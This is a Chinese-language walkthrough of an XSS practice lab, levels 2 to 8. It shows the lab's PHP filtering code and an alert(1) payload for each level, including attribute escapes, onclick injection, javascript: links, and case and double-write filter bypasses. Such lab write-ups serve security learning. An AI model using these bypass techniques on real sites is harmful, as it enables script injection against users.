环境源码
链接:https://pan.baidu.com/s/1qaSY5PbU8qwgBzbssGv4IA
提取码:6elk
使用phpstudy运行
level2
先写随便写一些字符
<input name="keyword" value="1">
发现字符出现在了双引号中
输入1">发现">逃逸出双引号了
输入1"><script>alert(1)</script><"
<input name="keyword" value="1"><script>alert(1)</script><"">
输入在HTML里是这样的
这样<script>alert(1)</script>就逃逸出""和<>了
level3
到第三关,第二关的语句就失效了
看看后端代码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
发现他使用了htmlspecialchars这个函数,htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
htmlspecialchars(string,flags,character-set,double_encode)
在该函数中的第二个参数规定如何处理引号,默认是只处理双引号,不处理单引号
在代码中的函数没有第二个参数,他没有处理单引号,我们可以用单引号逃逸出来,但<script>标签有<>也会被过滤,可以使用onclick
1'οnclick='alert(1)
level4
第四关对<script>标签有过滤,使用onclick就行
1'οnclick='alert(1)
level5
输入1'οnclick='alert(1)
<input name="keyword" value="1'o_nclick='alert(1)">
输入1"><script>alert(1)</script><"
<scr_ipt>alert(1)<"">
<input type="submit" name="submit" value="搜索">
</scr_ipt>
分别对on和script有过滤
可以使用a标签和JavaScript伪协议
a"><a href="javascript:alert(1)">aaaaa</a>
level6
查看前端代码
<input name="keyword" value="a">
<a hr_ef="javascript:alert(1)">aaaaa</a>
发现href被过滤了
查看源代码
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
发现过滤了很多标签,但没过滤大小写
1"ONCLICK="alert(1)
level7
输入a"><a href="javascript:alert(1)">aaaaa</a>
<a ="java:alert(1)"="">aaaaa</a>
发现script直接没了
1"ONCLICK="alert(1)也不行
试试双写
1"OONNCLICK="alert(1)
成功了
level8
这是一个友情链接,要在其中输入javascript:alert(1)
但script被过滤了,双写,大小写都不行
可以使用urlencode编码
javascript:alert(1)